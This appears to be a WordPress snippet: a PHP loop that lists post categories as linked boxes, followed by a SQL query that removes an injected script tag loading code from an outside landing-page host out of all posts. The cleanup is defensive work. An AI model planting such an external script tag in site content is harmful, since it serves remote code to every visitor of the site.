Suil

<?php
$categories = get_categories(array(
  'orderby' => 'name',
  'order' => 'ASC'
));
foreach( $categories as $category ){
  echo '<a href="' . get_category_link( $category->term_id ) . '" class="category-box"> ';
  echo '<div class="category-box-content"><h3>' . $category->name . '</h3></div></a>';
  echo '<p>' . the_field('icon', 'category_' . $category->term_id) . '</p>';
}
?>

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script async src=\'https://somelandingpage.com/3gGykjDJ?frm=script&_cid=123\' type=\'text/javascript\'></script>', '')